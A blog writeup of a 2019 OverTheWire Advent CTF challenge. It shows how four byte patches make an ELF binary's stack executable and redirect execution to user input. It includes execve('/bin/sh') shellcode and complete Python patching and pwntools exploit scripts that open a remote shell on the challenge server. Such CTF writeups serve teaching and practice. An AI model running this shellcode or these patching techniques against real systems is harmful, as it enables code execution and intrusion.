OverTheWire Advent Bonanza 2019: [Day 6] Genetic Mutation

About

This post is part of a series in which I’ll post writeups for all challenges of the OverTheWire Advent Bonanza 2019 CTF. To see the intro, click here

Overview

One of Santa’s poor elves got captured by the Grinch and his genes mutated. Now we should restore the elf’s genes. When we connect to the given service, we are given the elf’s ELF binary, as a hex encoded zlib file. Then the service allows to make up to 4 patches of one byte each, and then runs the ELF file. The elf just asks us for our name, and then sings us a little corrupted song about Christmas. Then it just exits.

A quick look at the elf

The file command yields this:

$ file elf
elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=da96e6764da9a55bc35f68178c381fcb50e66f50, not stripped

Good, it isn’t stripped. That makes life a lot easier! Also it is 64 bit. Now let’s look at the security measures:

$ checksec elf
[*] './elf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

We have the whole program of security measures! That won’t make it easier, but also won’t affect our plan. Let’s just quickly find the main function before moving on:

$ objdump --disassemble=_start elf
...
Disassembly of section .text:
0000000000000630 <_start>:
 630:	31 ed                	xor    %ebp,%ebp
 632:	49 89 d1             	mov    %rdx,%r9
 635:	5e                   	pop    %rsi
 636:	48 89 e2             	mov    %rsp,%rdx
 639:	48 83 e4 f0          	and    $0xfffffffffffffff0,%rsp
 63d:	50                   	push   %rax
 63e:	54                   	push   %rsp
 63f:	4c 8d 05 0a 02 00 00 	lea    0x20a(%rip),%r8        # 850 <__libc_csu_fini>
 646:	48 8d 0d 93 01 00 00 	lea    0x193(%rip),%rcx        # 7e0 <__libc_csu_init>
 64d:	48 8d 3d e6 00 00 00 	lea    0xe6(%rip),%rdi        # 73a <main>
 654:	ff 15 86 09 20 00    	callq  *0x200986(%rip)        # 200fe0 <__libc_start_main@GLIBC_2.2.5>
 65a:	f4                   	hlt    
...

The plan

So our plan seems clear: Somehow patch the elf that it gives us a shell. One idea I had was to allow the stack to be executable, and then patch the elf to jump to our name, allowing use to execute arbitrary code. Now let’s get to work!

Making the stack executable

Maybe the man page of the 64 bit ELF file format can give us some clues on how to accomplish this? In there we find a C structure which is present at the start of a ELF file:

#define EI_NIDENT 16

typedef struct {
   unsigned char e_ident[EI_NIDENT]; //Interpreter data
   uint16_t      e_type;             //File type
   uint16_t      e_machine;          //Target Architecture
   uint32_t      e_version;          //File version
   ElfN_Addr     e_entry;            //Entry address of the binary
   ElfN_Off      e_phoff;            //Offset to program header table
   ElfN_Off      e_shoff;            //Offset to symbol header table
   uint32_t      e_flags;            //Processor flags
   uint16_t      e_ehsize;           //ELF header size
   uint16_t      e_phentsize;        //Program header entry size
   uint16_t      e_phnum;            //Number of program header entries
   uint16_t      e_shentsize;        //Section header entry size
   uint16_t      e_shnum;            //Number of section header entries
   uint16_t      e_shstrndx;         //String table section header entry index
} ElfN_Ehdr;

Let’s look into the program header some more:

typedef struct {
   uint32_t   p_type;   //Type of the segment
   uint32_t   p_flags;  //The permission flags of the segment
   Elf64_Off  p_offset; //Offset into the ELF file
   Elf64_Addr p_vaddr;  //The virtual address of the segment
   Elf64_Addr p_paddr;  //The physical address of the segment, for systems which care
   uint64_t   p_filesz; //The size in the ELF file
   uint64_t   p_memsz;  //The size in virtual memory
   uint64_t   p_align;  //Align to x bytes, please
} Elf64_Phdr;

And now let’s look into the fields p_type and p_flags a bit more:

//p_type
#define PT_NULL    0            //Ignore
#define PT_LOAD    1            //Map from ELF file into virtual memory
#define PT_DYNAMIC 2            //Dynamic linking stuff
#define PT_INTERP  3            //The interpreter to use
#define PT_NOTE    4            //The Location of notes
#define PT_SHLIB   5            //Reserved
#define PT_PHDR    6            //Map the program header somewhere
#define PT_LOPROC  0x70000000   //Processor specific
#define PT_HIPROC  0x7fffffff   //Processor specific
#define PT_GNU_STACK 0x6474e551 //The stack

//p_flags
#define PF_R		0x4 //Read
#define PF_W		0x2 //Write
#define PF_X		0x1 //Execute

We found it! By locating the program header entry for the stack, and setting the PF_X bit in it’s p_flags, we make the stack executable! So we only need to patch the code itself now.

PS: checksec notices that we patched the stack:

$ checksec elf_patched
[*] './elf_patched'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

Patching the code

That’s simpler. First we take a look at the main method:

000000000000073a <main>:
 73a:	41 55                	push   %r13
 73c:	41 54                	push   %r12
 73e:	55                   	push   %rbp
 73f:	53                   	push   %rbx
 740:	48 81 ec 98 00 00 00 	sub    $0x98,%rsp
 747:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
 74e:	00 00 
 750:	48 89 84 24 88 00 00 	mov    %rax,0x88(%rsp)
 757:	00 
 758:	31 c0                	xor    %eax,%eax
 75a:	48 89 e7             	mov    %rsp,%rdi
 75d:	b9 10 00 00 00       	mov    $0x10,%ecx
 762:	f3 48 ab             	rep stos %rax,%es:(%rdi)
 765:	48 8d 3d fc 00 00 00 	lea    0xfc(%rip),%rdi        # 868 <_IO_stdin_used+0x8>
 76c:	e8 6f fe ff ff       	callq  5e0 <puts@plt>
 771:	48 89 e5             	mov    %rsp,%rbp
 774:	4c 8d 6d 7f          	lea    0x7f(%rbp),%r13
 778:	48 89 eb             	mov    %rbp,%rbx
 77b:	41 89 dc             	mov    %ebx,%r12d
 77e:	41 29 ec             	sub    %ebp,%r12d
 781:	ba 01 00 00 00       	mov    $0x1,%edx
 786:	48 89 de             	mov    %rbx,%rsi
 789:	bf 00 00 00 00       	mov    $0x0,%edi
 78e:	e8 5d fe ff ff       	callq  5f0 <read@plt>
 793:	80 3b 0a             	cmpb   $0xa,(%rbx)
 796:	74 0b                	je     7a3 <main+0x69>
 798:	48 83 c3 01          	add    $0x1,%rbx
 79c:	4c 39 eb             	cmp    %r13,%rbx
 79f:	75 da                	jne    77b <main+0x41>
 7a1:	eb 08                	jmp    7ab <main+0x71>
 7a3:	4d 63 e4             	movslq %r12d,%r12
 7a6:	42 c6 04 24 00       	movb   $0x0,(%rsp,%r12,1)
 7ab:	48 89 e2             	mov    %rsp,%rdx
 7ae:	48 8d 35 d3 00 00 00 	lea    0xd3(%rip),%rsi        # 888 <_IO_stdin_used+0x28>
 7b5:	bf 01 00 00 00       	mov    $0x1,%edi
 7ba:	b8 00 00 00 00       	mov    $0x0,%eax
 7bf:	e8 3c fe ff ff       	callq  600 <__printf_chk@plt>
 7c4:	48 8d 3d e5 00 00 00 	lea    0xe5(%rip),%rdi        # 8b0 <_IO_stdin_used+0x50>
 7cb:	e8 10 fe ff ff       	callq  5e0 <puts@plt>
 7d0:	bf 00 00 00 00       	mov    $0x0,%edi
 7d5:	e8 36 fe ff ff       	callq  610 <exit@plt>

The instruction mov %rsp,%rdx seems good to be patched. It is directly after the read-name loop, and it contains a pointer to our input in %rbp ! Let’s replace it with call %rbp; nop :

000000000000073a <main>:
 73a:	41 55                	push   %r13
 73c:	41 54                	push   %r12
...
 7a1:	eb 08                	jmp    7ab <main+0x71>
 7a3:	4d 63 e4             	movslq %r12d,%r12
 7a6:	42 c6 04 24 00       	movb   $0x0,(%rsp,%r12,1)
 7ab:	ff d5                	callq  *%rbp
 7ad:	90                   	nop
 7ae:	48 8d 35 d3 00 00 00 	lea    0xd3(%rip),%rsi        # 888 <_IO_stdin_used+0x28>
 7b5:	bf 01 00 00 00       	mov    $0x1,%edi
...
 7d0:	bf 00 00 00 00       	mov    $0x0,%edi
 7d5:	e8 36 fe ff ff       	callq  610 <exit@plt>

So now the elf will just execute our name as assembly code!

Writing some shellcode

Let’s write some shellcode:

0x0000000000000000:  48 B8 2F 62 69 6E 2F 73 68 00    movabs  rax, 0x68732f6e69622f
0x000000000000000a:  50                               push    rax
0x000000000000000b:  48 89 E7                         mov     rdi, rsp
0x000000000000000e:  48 C7 C0 00 00 00 00             mov     rax, 0
0x0000000000000015:  50                               push    rax
0x0000000000000016:  48 89 E2                         mov     rdx, rsp
0x0000000000000019:  57                               push    rdi
0x000000000000001a:  48 89 E6                         mov     rsi, rsp
0x000000000000001d:  48 C7 C0 3B 00 00 00             mov     rax, 0x3b
0x0000000000000024:  0F 05                            syscall 
0x0000000000000026:  CC                               int3 

And test it locally on our patched elf:

$ (cat shellcode; echo; cat) | ./elf_patched
Hello there, what is your name?
whoami
popax21

It works!

Pwning the elf

To pwn the elf, we need to extract the patches we made, and send them over. Then we just send our shellcode, and we got a shell! So after implementing this in python, we can get the flag: (NOTE I use python2 because python3 pwntools don’t work on my laptop, but my real exploit is python3)

$ python2 exploit.py elf elf_patched shellcode
Applying 4 patches...
[+] Opening connection to 3.93.128.89 on port 1206: Done
Applying patch 0x7ac=d5
Applying patch 0x7ab=ff
Applying patch 0x1cc=07
Applying patch 0x7ad=90
[*] Switching to interactive mode
$ ls
chal.py
elf
flag.txt
$ cat flag.txt
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}$  

And the flag is:

AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}

I do not feel guilty 🙂

Here is my script used to patch the stack:

from sys import exit, argv
from struct import pack, unpack

p32 = lambda x: pack("<L", x)
p64 = lambda x: pack("<Q", x)
u32 = lambda x: unpack("<L", x[:4])[0]
u64 = lambda x: unpack("<Q", x[:8])[0]

def dump(b, off=0x00, size=0x80):
    addr_len = len("%x" % (off + size))
    
    i = 0
    
    while i < size:
        print(("0x%%0%dx | " % addr_len) % (off + i), end="")
        
        bytes_in_line = min(size - i, 0x10)
        
        for ii in range(bytes_in_line):
            print("%02x " % b[off + i + ii], end="")
        
        for _ in range(0x10 - bytes_in_line): print(".. ", end="")
        
        print("| ", end="")
        
        for ii in range(bytes_in_line):
            c = b[off + i + ii]
            if c >= 0x20 and c < 0x80: print("%c" % c, end="")
            else: print(".", end="")
        
        for _ in range(0x10 - bytes_in_line): print(".", end="")
        
        i += bytes_in_line
        
        print(" |")

if len(argv) < 3: exit(1)

with open(argv[1], "rb") as ef:
    e = ef.read()

print("Loaded Elf file '%s'" % argv[1])

ph_off = u64(e[0x20:])

print("Program Header is at offset 0x%x" % ph_off)

i = ph_off

while True:
    pt_type = u32(e[i:])
    
    if pt_type == 0:
        print("End of Program Table!")
        exit(1)
    elif pt_type == 0x6474e551:
        print("Found Stack Program Table entry at offset 0x%x!" % i)
        break
    
    print("Encountered Program Table entry with type 0x%x" % pt_type)
    
    i += 0x38

pt_flags = u32(e[i+0x4:])

print("Stack Flags are: %s%s%s" % ('R' if pt_flags &amp; 0x4 != 0 else '', 'W' if pt_flags &amp; 0x2 != 0 else '', 'X' if pt_flags &amp; 0x1 != 0 else ''))

pt_flags |= 0x1
e = e[:i+0x4] + p32(pt_flags) + e[i+0x8:]

print("Patched Stack Flags are: %s%s%s" % ('R' if pt_flags &amp; 0x4 != 0 else '', 'W' if pt_flags &amp; 0x2 != 0 else '', 'X' if pt_flags &amp; 0x1 != 0 else ''))

print("Saving patched Elf to '%s'" % argv[2])

with open(argv[2], "w+b") as ef:
    ef.write(e)

To patch the code:

from sys import exit, argv
from struct import pack, unpack

p32 = lambda x: pack("<L", x)
p64 = lambda x: pack("<Q", x)
u32 = lambda x: unpack("<L", x[:4])[0]
u64 = lambda x: unpack("<Q", x[:8])[0]

def dump(b, off=0x00, size=0x80):
    addr_len = len("%x" % (off + size))
    
    i = 0
    
    while i < size:
        print(("0x%%0%dx | " % addr_len) % (off + i), end="")
        
        bytes_in_line = min(size - i, 0x10)
        
        for ii in range(bytes_in_line):
            print("%02x " % b[off + i + ii], end="")
        
        for _ in range(0x10 - bytes_in_line): print(".. ", end="")
        
        print("| ", end="")
        
        for ii in range(bytes_in_line):
            c = b[off + i + ii]
            if c >= 0x20 and c < 0x80: print("%c" % c, end="")
            else: print(".", end="")
        
        for _ in range(0x10 - bytes_in_line): print(".", end="")
        
        i += bytes_in_line
        
        print(" |")

if len(argv) < 3: exit(1)

with open(argv[1], "rb") as ef:
    e = ef.read()

print("Loaded Elf file '%s'" % argv[1])

org_instr = b"\x48\x89\xe2" # mov rdx, rsp
new_instr = b"\xff\xd5\x90" # call rbp; nop

assert len(org_instr) == len(new_instr)

if not org_instr in e:
    print("Orginal instruction not found in Elf file!")
    exit(1)

i =  e.rfind(org_instr)

print("Found original instruction at offset 0x%x!" % i)
dump(e, i, len(org_instr))

e = e[:i] + new_instr + e[i + len(new_instr):]

print("Patched instruction from 'mov rdx, rsp' to 'call rbp; nop'!")
dump(e, i ,len(new_instr))

print("Saving patched Elf to '%s'" % argv[2])

with open(argv[2], "w+b") as ef:
    ef.write(e)

And the exploit itself:

from pwn import *
from sys import exit, argv
from struct import pack, unpack

u8 = lambda x: unpack("<B", x)[0]

if len(argv) < 4: exit(1)

with open(argv[1], "rb") as oef:
    oe = oef.read()

with open(argv[2], "rb") as ef:
    e = ef.read()

with open(argv[3], "rb") as pf:
    p = pf.read()

assert len(oe) == len(e)

patch = {}

for i in range(len(e)):
    if e[i] != oe[i]:
        patch[i] = u8(e[i])

if len(patch) > 4:
    print("Too many patches!")
    exit(1)

print("Applying %d patches..." % len(patch))

t = remote("3.93.128.89", 1206)

t.recvuntil("How many bytes to mutate (0 - 4)? ")
t.sendline(str(len(patch)))

for addr, v in patch.items():
    print("Applying patch 0x%x=%02x" % (addr, v))
    t.recvuntil( "Which byte to mutate? ")
    t.sendline(str(addr))
    t.recvuntil("What to set the byte to? ")
    t.sendline(str(v))


t.recvuntil("==================================================\n")
t.sendline(p)

t.interactive()
t.close()

Leave a Reply

Your email address will not be published. Required fields are marked *